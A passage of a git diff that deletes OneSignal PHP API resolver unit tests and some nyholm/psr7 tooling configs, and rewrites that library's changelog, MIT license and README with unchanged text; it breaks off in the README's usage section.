'wrongType']]; - yield [['last_active' => 'wrongType']]; - yield [['notification_types' => 'wrongType']]; - yield [['test_type' => 'wrongType']]; - yield [['long' => true]]; - yield [['lat' => true]]; - yield [['country' => false]]; - yield [['app_id' => 666]]; - yield [['device_type' => 666]]; - yield [['external_user_id' => 666]]; - } - - /** - * @dataProvider newDeviceWrongValueTypesProvider - */ - public function testResolveNewDeviceWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $requiredOptions = [ - 'device_type' => Devices::ANDROID, - ]; - - $this->deviceResolver->setIsNewDevice(true); - $this->deviceResolver->resolve(array_merge($requiredOptions, $wrongOption)); - } - - public function existingDeviceWrongValueTypesProvider(): iterable - { - yield [['ip' => 100]]; - yield [['ip' => 'wrongIP']]; - yield [['ip' => '12222237.0.0.1']]; - } - - /** - * @dataProvider existingDeviceWrongValueTypesProvider - */ - public function testResolveExistingDeviceWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $this->deviceResolver->setIsNewDevice(false); - $this->deviceResolver->resolve($wrongOption); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->deviceResolver->resolve(['wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceSessionResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceSessionResolverTest.php deleted file mode 100644 index cad206db26..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceSessionResolverTest.php +++ /dev/null @@ -1,70 +0,0 @@ -deviceSessionResolver = new DeviceSessionResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'identifier' => 'fakeIdentifier', - 'language' => 'fakeIdentifier', - 'timezone' => 234, - 'game_version' => 'fakeGameVersion', - 'device_os' => 'fakeDeviceOS', - 'device_model' => 'fakeDeviceModel', - 'ad_id' => 'fakeAdId', - 'sdk' => 'fakeSdk', - 'tags' => ['fakeTag'], - ]; - - self::assertEquals($expectedData, $this->deviceSessionResolver->resolve($expectedData)); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['identifier' => 666]]; - yield [['language' => 666]]; - yield [['timezone' => 'wrongType']]; - yield [['game_version' => 666]]; - yield [['device_model' => 666]]; - yield [['device_os' => 666]]; - yield [['ad_id' => 666]]; - yield [['sdk' => 666]]; - yield [['tags' => 666]]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $this->deviceSessionResolver->resolve($wrongOption); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->deviceSessionResolver->resolve(['wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceTagsResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceTagsResolverTest.php deleted file mode 100644 index b82b8e3e61..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceTagsResolverTest.php +++ /dev/null @@ -1,69 +0,0 @@ -deviceResolver = new DeviceTagsResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'tags' => [ - 'a' => '1', - 'foo' => '', - ], - ]; - - self::assertEquals($expectedData, $this->deviceResolver->resolve($expectedData)); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->deviceResolver->resolve([]); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['tags' => 777]]; - yield [['tags' => 'string']]; - yield [['tags' => true]]; - yield [['tags' => new stdClass()]]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $this->deviceResolver->resolve($wrongOption); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->deviceResolver->resolve(['device_tags' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/NotificationHistoryResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/NotificationHistoryResolverTest.php deleted file mode 100644 index 79f61b02c1..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/NotificationHistoryResolverTest.php +++ /dev/null @@ -1,65 +0,0 @@ -notificationHistoryResolver = new NotificationHistoryResolver($this->createConfig()); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'events' => 'sent', - 'email' => 'example@example.com', - 'app_id' => 'fakeApplicationId', - ]; - - self::assertEquals($expectedData, $this->notificationHistoryResolver->resolve($expectedData)); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->notificationHistoryResolver->resolve([]); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['events' => 666, 'email' => 'example@example.com']]; - yield [['events' => 'sent', 'email' => 666]]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $this->notificationHistoryResolver->resolve($wrongOption); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->notificationHistoryResolver->resolve(['events' => 'sent', 'wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/NotificationResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/NotificationResolverTest.php deleted file mode 100644 index c7bd937707..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/NotificationResolverTest.php +++ /dev/null @@ -1,369 +0,0 @@ -notificationResolver = new NotificationResolver($this->createConfig()); - } - - public function testResolveWithValidValues(): void - { - $inputData = [ - 'name' => 'value', - 'contents' => ['value'], - 'headings' => ['value'], - 'subtitle' => ['value'], - 'isIos' => false, - 'isAndroid' => false, - 'isWP' => false, - 'isWP_WNS' => false, - 'isAdm' => false, - 'isChrome' => false, - 'isChromeWeb' => false, - 'isFirefox' => false, - 'isSafari' => false, - 'isAnyWeb' => false, - 'included_segments' => ['value'], - 'excluded_segments' => ['value'], - 'include_player_ids' => ['value'], - 'include_ios_tokens' => ['value'], - 'include_android_reg_ids' => ['value'], - 'include_external_user_ids' => ['value'], - 'channel_for_external_user_ids' => 'push', - 'include_email_tokens' => ['value'], - 'include_wp_uris' => ['value'], - 'include_wp_wns_uris' => ['value'], - 'include_amazon_reg_ids' => ['value'], - 'include_chrome_reg_ids' => ['value'], - 'include_chrome_web_reg_ids' => ['value'], - 'app_ids' => ['value'], - 'filters' => [], - 'ios_badgeType' => 'SetTo', - 'ios_badgeCount' => 23, - 'ios_sound' => 'value', - 'android_sound' => 'value', - 'adm_sound' => 'value', - 'wp_sound' => 'value', - 'wp_wns_sound' => 'value', - 'data' => ['value'], - 'buttons' => [], - 'android_channel_id' => '09228c02-6188-4307-b139-402600213d0e', - 'existing_android_channel_id' => '09228c02-6188-4307-b139-402600213d0e', - 'android_background_layout' => ['image' => 'https://example.com/image/png', 'headings_color' => 'FF0000FF', 'contents_color' => 'FFFF0000'], - 'small_icon' => 'value', - 'large_icon' => 'value', - 'ios_attachments' => ['key' => 'value'], - 'big_picture' => 'value', - 'adm_small_icon' => 'value', - 'adm_large_icon' => 'value', - 'adm_big_picture' => 'value', - 'web_buttons' => [ - [ - 'id' => 'value', - 'text' => 'value', - 'icon' => 'value', - 'url' => 'value', - ], - ], - 'ios_category' => 'value', - 'chrome_icon' => 'value', - 'chrome_big_picture' => 'value', - 'chrome_web_icon' => 'value', - 'chrome_web_image' => 'value', - 'firefox_icon' => 'value', - 'url' => 'http://url.com', - 'web_url' => 'http://url.com', - 'app_url' => 'myapp://path', - 'send_after' => new DateTime(), - 'delayed_option' => 'timezone', - 'delivery_time_of_day' => new DateTime(), - 'android_led_color' => 'value', - 'android_accent_color' => 'value', - 'android_visibility' => -1, - 'collapse_id' => 'value', - 'content_available' => true, - 'mutable_content' => true, - 'android_background_data' => true, - 'amazon_background_data' => true, - 'template_id' => 'value', - 'android_group' => 'value', - 'android_group_message' => ['value'], - 'adm_group' => 'value', - 'adm_group_message' => ['value'], - 'thread_id' => 'value', - 'summary_arg' => 'value', - 'summary_arg_count' => 10, - 'ttl' => 23, - 'priority' => 10, - 'app_id' => 'value', - 'email_subject' => 'value', - 'email_body' => 'value', - 'email_from_name' => 'value', - 'email_from_address' => 'value', - 'external_id' => 'value', - 'web_push_topic' => 'value', - 'apns_push_type_override' => 'voip', - 'sms_from' => 'value', - 'sms_media_urls' => ['value'], - ]; - - $expectedData = $inputData; - $expectedData['send_after'] = $expectedData['send_after']->format('Y-m-d H:i:sO'); - $expectedData['delivery_time_of_day'] = $expectedData['delivery_time_of_day']->format('g:iA'); - - self::assertEquals($expectedData, $this->notificationResolver->resolve($inputData)); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['name' => 666]]; - yield [['contents' => 666]]; - yield [['headings' => 666]]; - yield [['subtitle' => 666]]; - yield [['isIos' => 666]]; - yield [['isAndroid' => 666]]; - yield [['isWP' => 666]]; - yield [['isWP_WNS' => 666]]; - yield [['isAdm' => 666]]; - yield [['isChrome' => 666]]; - yield [['isChromeWeb' => 666]]; - yield [['isFirefox' => 666]]; - yield [['isSafari' => 666]]; - yield [['isAnyWeb' => 666]]; - yield [['included_segments' => 'wrongType']]; - yield [['excluded_segments' => 'wrongType']]; - yield [['include_player_ids' => 'wrongType']]; - yield [['include_ios_tokens' => 'wrongType']]; - yield [['include_android_reg_ids' => 666]]; - yield [['include_external_user_ids' => 666]]; - yield [['channel_for_external_user_ids' => 'wrongChannel']]; - yield [['include_email_tokens' => 666]]; - yield [['include_wp_uris' => 666]]; - yield [['include_wp_wns_uris' => 666]]; - yield [['include_amazon_reg_ids' => 666]]; - yield [['include_chrome_reg_ids' => 666]]; - yield [['include_chrome_web_reg_ids' => 666]]; - yield [['app_ids' => 666]]; - yield [['filters' => 666]]; - yield [['ios_badgeType' => 'wrongType']]; - yield [['ios_badgeCount' => 'wrongType']]; - yield [['ios_sound' => 666]]; - yield [['android_sound' => 666]]; - yield [['adm_sound' => 666]]; - yield [['wp_sound' => 666]]; - yield [['wp_wns_sound' => 666]]; - yield [['data' => 666]]; - yield [['buttons' => 666]]; - yield [['android_channel_id' => 666]]; - yield [['existing_android_channel_id' => 666]]; - yield [['android_background_layout' => ['wrongKey' => 'value']]]; - yield [['small_icon' => 666]]; - yield [['large_icon' => 666]]; - yield [['ios_attachments' => 666]]; - yield [['big_picture' => 666]]; - yield [['adm_small_icon' => 666]]; - yield [['adm_large_icon' => 666]]; - yield [['adm_big_picture' => 666]]; - yield [['web_buttons' => 666]]; - yield [['ios_category' => 666]]; - yield [['chrome_icon' => 666]]; - yield [['chrome_big_picture' => 666]]; - yield [['chrome_web_icon' => 666]]; - yield [['chrome_web_image' => 666]]; - yield [['firefox_icon' => 666]]; - yield [['url' => 666]]; - yield [['web_url' => 666]]; - yield [['app_url' => 666]]; - yield [['send_after' => 666]]; - yield [['delayed_option' => 666]]; - yield [['delivery_time_of_day' => 666]]; - yield [['android_led_color' => 666]]; - yield [['android_accent_color' => 666]]; - yield [['android_visibility' => 'wrongType']]; - yield [['collapse_id' => 666]]; - yield [['content_available' => 666]]; - yield [['mutable_content' => 666]]; - yield [['android_background_data' => 666]]; - yield [['amazon_background_data' => 666]]; - yield [['template_id' => 666]]; - yield [['android_group' => 666]]; - yield [['android_group_message' => 666]]; - yield [['adm_group' => 666]]; - yield [['adm_group_message' => 666]]; - yield [['ttl' => 'wrongType']]; - yield [['priority' => 'wrongType']]; - yield [['app_id' => 666]]; - yield [['email_subject' => 666]]; - yield [['email_body' => 666]]; - yield [['email_from_name' => 666]]; - yield [['email_from_address' => 666]]; - yield [['external_id' => 666]]; - yield [['web_push_topic' => 666]]; - yield [['apns_push_type_override' => 666]]; - yield [['sms_from' => 666]]; - yield [['sms_media_urls' => 666]]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $this->notificationResolver->resolve($wrongOption); - } - - public function testResolveDefaultValues(): void - { - $expectedData = [ - 'app_id' => 'fakeApplicationId', - ]; - - self::assertEquals($expectedData, $this->notificationResolver->resolve([])); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->notificationResolver->resolve(['wrongOption' => 'wrongValue']); - } - - /****** Private functions testing ******/ - - public function testNormalizeFilters(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'normalizeFilters'); - - $inputData = [ - new OptionsResolver(), - [ - ['field' => 'myField'], - ['wrongField' => 'wrongValue'], - ['operator' => 'OR'], - ['operator' => 'AND'], - ], - ]; - - $expectedData = - [ - ['field' => 'myField'], - ['operator' => 'OR'], - ['operator' => 'OR'], - ]; - - self::assertEquals($expectedData, $method->invokeArgs($this->notificationResolver, $inputData)); - } - - public function testFilterUrl(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'filterUrl'); - - self::assertEquals(true, $method->invokeArgs($this->notificationResolver, ['http://fakeUrl.com'])); - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, ['wrongUrl'])); - } - - public function testNormalizeButtons(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'normalizeButtons'); - - $inputData = [ - ['wrongOption' => 'wrongValue'], - ['text' => 'value', 'id' => 2], - ['text' => 'value', 'id' => 8, 'icon' => 'iconValue'], - ]; - - $expectedData = [ - ['text' => 'value', 'id' => 2, 'icon' => null], - ['text' => 'value', 'id' => 8, 'icon' => 'iconValue'], - ]; - - self::assertEquals($expectedData, $method->invokeArgs($this->notificationResolver, [$inputData])); - } - - public function testFilterAndroidBackgroundLayout(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'filterAndroidBackgroundLayout'); - - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [[]])); - - $requiredData = [ - 'image' => 'value', - 'headings_color' => 'value', - 'contents_color' => 'value', - ]; - - self::assertEquals(true, $method->invokeArgs($this->notificationResolver, [$requiredData])); - - $inputData = array_merge($requiredData, ['image' => 45]); - - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [$inputData])); - - $inputData = array_merge($requiredData, ['wrongOption' => 'wrongValue']); - - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [$inputData])); - } - - public function testFilterIosAttachments(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'filterIosAttachments'); - - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [['option' => 666]])); - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [[666 => 666]])); - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [[666 => 'value']])); - self::assertEquals(true, $method->invokeArgs($this->notificationResolver, [['option' => 'value']])); - } - - public function testFilterWebButtons(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'filterWebButtons'); - - $inputData = [ - [ - 'id' => 'value', - 'text' => 'value', - 'icon' => 'value', - 'url' => 'value', - ], - ]; - - self::assertEquals(true, $method->invokeArgs($this->notificationResolver, [$inputData])); - - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [array_merge(['wrongOption' => 'wrongValue'], $inputData)])); - - unset($inputData[0]['url']); - - self::assertEquals(false, $method->invokeArgs($this->notificationResolver, [$inputData])); - } - - public function testDateTime(): void - { - $method = $this->getPrivateMethod(NotificationResolver::class, 'normalizeDateTime'); - - $inputData = new DateTime(); - $expectedData = $inputData->format(NotificationResolver::SEND_AFTER_FORMAT); - - self::assertEquals($expectedData, $method->invokeArgs($this->notificationResolver, [new OptionsResolver(), $inputData, NotificationResolver::SEND_AFTER_FORMAT])); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/ResolverFactoryTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/ResolverFactoryTest.php deleted file mode 100644 index be01c21598..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/ResolverFactoryTest.php +++ /dev/null @@ -1,30 +0,0 @@ -resolverFactory = new ResolverFactory($this->createConfig()); - } - - public function testFactoryInstantiations(): void - { - $newDeviceResolver = $this->resolverFactory->createNewDeviceResolver(); - self::assertTrue($newDeviceResolver->getIsNewDevice()); - - $existingDeviceResolver = $this->resolverFactory->createExistingDeviceResolver(); - self::assertFalse($existingDeviceResolver->getIsNewDevice()); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/SegmentResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/SegmentResolverTest.php deleted file mode 100644 index 2058e3cfeb..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/SegmentResolverTest.php +++ /dev/null @@ -1,92 +0,0 @@ -segmentResolver = new SegmentResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'id' => '52d5a7cb-59fe-4d0c-a0b9-9a39a21475ad', - 'name' => 'Custom Segment', - 'filters' => [], - ]; - - self::assertEquals($expectedData, $this->segmentResolver->resolve($expectedData)); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['id' => 666, 'name' => '']]; - yield [['name' => 666]]; - yield [['filters' => 666, 'name' => '']]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $this->segmentResolver->resolve($wrongOption); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->segmentResolver->resolve(['wrongOption' => 'wrongValue']); - } - - /****** Private functions testing ******/ - - public function testNormalizeFilters(): void - { - $method = $this->getPrivateMethod(SegmentResolver::class, 'normalizeFilters'); - - $inputData = [ - new OptionsResolver(), - [ - ['wrongField' => 'wrongValue'], - ['field' => 'session_count', 'relation' => '>', 'value' => '1'], - ['operator' => 'AND'], - ['field' => 'tag', 'relation' => '!=', 'key' => 'tag_key', 'value' => '1'], - ['operator' => 'OR'], - ['field' => 'last_session', 'relation' => '<', 'value' => '30'], - ], - ]; - - $expectedData = - [ - ['field' => 'session_count', 'relation' => '>', 'value' => '1'], - ['operator' => 'AND'], - ['field' => 'tag', 'relation' => '!=', 'key' => 'tag_key', 'value' => '1'], - ['operator' => 'OR'], - ['field' => 'last_session', 'relation' => '<', 'value' => '30'], - ]; - - self::assertEquals($expectedData, $method->invokeArgs($this->segmentResolver, $inputData)); - } -} diff --git a/vendor/nyholm/psr7/.editorconfig b/vendor/nyholm/psr7/.editorconfig deleted file mode 100644 index 93299385b3..0000000000 --- a/vendor/nyholm/psr7/.editorconfig +++ /dev/null @@ -1,9 +0,0 @@ -root = true - -[*] -charset = utf-8 -end_of_line = lf -indent_size = 4 -indent_style = space -insert_final_newline = true -trim_trailing_whitespace = true diff --git a/vendor/nyholm/psr7/.php_cs b/vendor/nyholm/psr7/.php_cs deleted file mode 100644 index 178705c98a..0000000000 --- a/vendor/nyholm/psr7/.php_cs +++ /dev/null @@ -1,24 +0,0 @@ -setRiskyAllowed(true) - ->setRules([ - '@Symfony' => true, - '@Symfony:risky' => true, - 'array_syntax' => array('syntax' => 'short'), - 'native_function_invocation' => true, - 'native_constant_invocation' => true, - 'ordered_imports' => true, - 'declare_strict_types' => true, - 'single_import_per_statement' => false, - 'concat_space' => ['spacing'=>'one'], - 'phpdoc_align' => ['align'=>'left'], - ]) - ->setFinder( - PhpCsFixer\Finder::create() - ->in(__DIR__.'/src') - ->name('*.php') - ) -; - -return $config; diff --git a/vendor/nyholm/psr7/.scrutinizer.yml b/vendor/nyholm/psr7/.scrutinizer.yml deleted file mode 100644 index bc60fac93c..0000000000 --- a/vendor/nyholm/psr7/.scrutinizer.yml +++ /dev/null @@ -1,8 +0,0 @@ -filter: - excluded_paths: [vendor/*, tests/*] -checks: - php: - code_rating: true - duplication: true -tools: - external_code_coverage: true diff --git a/vendor/nyholm/psr7/CHANGELOG.md b/vendor/nyholm/psr7/CHANGELOG.md index 9062790e27..07238bdab4 100644 --- a/vendor/nyholm/psr7/CHANGELOG.md +++ b/vendor/nyholm/psr7/CHANGELOG.md @@ -1,121 +1,121 @@ -# Changelog - -All notable changes to this project will be documented in this file, in reverse chronological order by release. - -## 1.4.1 - -### Fixed - -- `Psr17Factory::createStreamFromFile`, `UploadedFile::moveTo`, and - `UploadedFile::getStream` no longer throw `ValueError` in PHP 8. - -## 1.4.0 - -### Removed - -The `final` keyword was replaced by `@final` annotation. - -## 1.3.2 - -### Fixed - -- `Stream::read()` must not return boolean. -- Improved exception message when using wrong HTTP status code. - -## 1.3.1 - -### Fixed - -- Allow installation on PHP8 - -## 1.3.0 - -### Added - -- Make Stream::__toString() compatible with throwing exceptions on PHP 7.4. - -### Fixed - -- Support for UTF-8 hostnames -- Support for numeric header names - -## 1.2.1 - -### Changed - -- Added `.github` and `phpstan.neon.dist` to `.gitattributes`. - -## 1.2.0 - -### Changed - -- Change minimal port number to 0 (unix socket) -- Updated `Psr17Factory::createResponse` to respect the specification. If second - argument is not used, a standard reason phrase. If an empty string is passed, - then the reason phrase will be empty. - -### Fixed - -- Check for seekable on the stream resource. -- Fixed the `Response::$reason` should never be null. - -## 1.1.0 - -### Added - -- Improved performance -- More tests for `UploadedFile` and `HttplugFactory` - -### Removed - -- Dead code - -## 1.0.1 - -### Fixed - -- Handle `fopen` failing in createStreamFromFile according to PSR-7. -- Reduce execution path to speed up performance. -- Fixed typos. -- Code style. - -## 1.0.0 - -### Added - -- Support for final PSR-17 (HTTP factories). (`Psr17Factory`) -- Support for numeric header values. -- Support for empty header values. -- All classes are final -- `HttplugFactory` that implements factory interfaces from HTTPlug. - -### Changed - -- `ServerRequest` does not extend `Request`. - -### Removed - -- The HTTPlug discovery strategy was removed since it is included in php-http/discovery 1.4. -- `UploadedFileFactory()` was removed in favor for `Psr17Factory`. -- `ServerRequestFactory()` was removed in favor for `Psr17Factory`. -- `StreamFactory`, `UriFactory`, abd `MessageFactory`. Use `HttplugFactory` instead. -- `ServerRequestFactory::createServerRequestFromArray`, `ServerRequestFactory::createServerRequestFromArrays` and - `ServerRequestFactory::createServerRequestFromGlobals`. Please use the new `nyholm/psr7-server` instead. - -## 0.3.0 - -### Added - -- Return types. -- Many `InvalidArgumentException`s are thrown when you use invalid arguments. -- Integration tests for `UploadedFile` and `ServerRequest`. - -### Changed - -- We dropped PHP7.0 support. -- PSR-17 factories have been marked as internal. They do not fall under our BC promise until PSR-17 is accepted. -- `UploadedFileFactory::createUploadedFile` does not accept a string file path. - -## 0.2.3 - -No changelog before this release +# Changelog + +All notable changes to this project will be documented in this file, in reverse chronological order by release. + +## 1.4.1 + +### Fixed + +- `Psr17Factory::createStreamFromFile`, `UploadedFile::moveTo`, and + `UploadedFile::getStream` no longer throw `ValueError` in PHP 8. + +## 1.4.0 + +### Removed + +The `final` keyword was replaced by `@final` annotation. + +## 1.3.2 + +### Fixed + +- `Stream::read()` must not return boolean. +- Improved exception message when using wrong HTTP status code. + +## 1.3.1 + +### Fixed + +- Allow installation on PHP8 + +## 1.3.0 + +### Added + +- Make Stream::__toString() compatible with throwing exceptions on PHP 7.4. + +### Fixed + +- Support for UTF-8 hostnames +- Support for numeric header names + +## 1.2.1 + +### Changed + +- Added `.github` and `phpstan.neon.dist` to `.gitattributes`. + +## 1.2.0 + +### Changed + +- Change minimal port number to 0 (unix socket) +- Updated `Psr17Factory::createResponse` to respect the specification. If second + argument is not used, a standard reason phrase. If an empty string is passed, + then the reason phrase will be empty. + +### Fixed + +- Check for seekable on the stream resource. +- Fixed the `Response::$reason` should never be null. + +## 1.1.0 + +### Added + +- Improved performance +- More tests for `UploadedFile` and `HttplugFactory` + +### Removed + +- Dead code + +## 1.0.1 + +### Fixed + +- Handle `fopen` failing in createStreamFromFile according to PSR-7. +- Reduce execution path to speed up performance. +- Fixed typos. +- Code style. + +## 1.0.0 + +### Added + +- Support for final PSR-17 (HTTP factories). (`Psr17Factory`) +- Support for numeric header values. +- Support for empty header values. +- All classes are final +- `HttplugFactory` that implements factory interfaces from HTTPlug. + +### Changed + +- `ServerRequest` does not extend `Request`. + +### Removed + +- The HTTPlug discovery strategy was removed since it is included in php-http/discovery 1.4. +- `UploadedFileFactory()` was removed in favor for `Psr17Factory`. +- `ServerRequestFactory()` was removed in favor for `Psr17Factory`. +- `StreamFactory`, `UriFactory`, abd `MessageFactory`. Use `HttplugFactory` instead. +- `ServerRequestFactory::createServerRequestFromArray`, `ServerRequestFactory::createServerRequestFromArrays` and + `ServerRequestFactory::createServerRequestFromGlobals`. Please use the new `nyholm/psr7-server` instead. + +## 0.3.0 + +### Added + +- Return types. +- Many `InvalidArgumentException`s are thrown when you use invalid arguments. +- Integration tests for `UploadedFile` and `ServerRequest`. + +### Changed + +- We dropped PHP7.0 support. +- PSR-17 factories have been marked as internal. They do not fall under our BC promise until PSR-17 is accepted. +- `UploadedFileFactory::createUploadedFile` does not accept a string file path. + +## 0.2.3 + +No changelog before this release diff --git a/vendor/nyholm/psr7/LICENSE b/vendor/nyholm/psr7/LICENSE index 9dcbfdf8a0..d6c52312c6 100644 --- a/vendor/nyholm/psr7/LICENSE +++ b/vendor/nyholm/psr7/LICENSE @@ -1,21 +1,21 @@ -MIT License - -Copyright (c) 2016 Tobias Nyholm - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. +MIT License + +Copyright (c) 2016 Tobias Nyholm + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/nyholm/psr7/README.md b/vendor/nyholm/psr7/README.md index ec55d3f4b6..9f92933008 100644 --- a/vendor/nyholm/psr7/README.md +++ b/vendor/nyholm/psr7/README.md @@ -1,110 +1,110 @@ -# PSR-7 implementation - -[![Latest Version](https://img.shields.io/github/release/Nyholm/psr7.svg?style=flat-square)](https://github.com/Nyholm/psr7/releases) -[![Build Status](https://img.shields.io/travis/Nyholm/psr7/master.svg?style=flat-square)](https://travis-ci.org/Nyholm/psr7) -[![Code Coverage](https://img.shields.io/scrutinizer/coverage/g/Nyholm/psr7.svg?style=flat-square)](https://scrutinizer-ci.com/g/Nyholm/psr7) -[![Quality Score](https://img.shields.io/scrutinizer/g/Nyholm/psr7.svg?style=flat-square)](https://scrutinizer-ci.com/g/Nyholm/psr7) -[![Total Downloads](https://poser.pugx.org/nyholm/psr7/downloads)](https://packagist.org/packages/nyholm/psr7) -[![Monthly Downloads](https://poser.pugx.org/nyholm/psr7/d/monthly.png)](https://packagist.org/packages/nyholm/psr7) -[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE) - - -A super lightweight PSR-7 implementation. Very strict and very fast. - -| Description | Guzzle | Laminas | Slim | Nyholm | -| ---- | ------ | ---- | ---- | ------ | -| Lines of code | 3.300 | 3.100 | 1.900 | 1.000 | -| PSR-7* | 66% | 100% | 75% | 100% | -| PSR-17 | No | Yes | Yes | Yes | -| HTTPlug | No | No | No | Yes | -| Performance (runs per second)** | 14.553 | 14.703 | 13.416 | 17.734 | - -\* Percent of completed tests in https://github.com/php-http/psr7-integration-tests - -\** Benchmark with 50.000 runs. See https://github.com/devanych/psr-http-benchmark (higher is better) - -## Installation - -```bash -composer require nyholm/psr7 -``` - -If you are using Symfony Flex then you get all message factories registered as services. - -## Usage - -The PSR-7 objects do not contain any other public methods than those defined in -the [PSR-7 specification](https://www.php-fig.org/psr/psr-7/). - -### Create objects - -Use the PSR-17 factory to create requests, streams, URIs etc. - -```php -$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); -$request = $psr17Factory->createRequest('GET', 'http://tnyholm.se'); -$stream = $psr17Factory->createStream('foobar'); -``` - -### Sending a request - -With [HTTPlug](http://httplug.io/) or any other PSR-18 (HTTP client) you may send -requests like: - -```bash -composer require kriswallsmith/buzz -``` - -```php -$psr17Factory = new 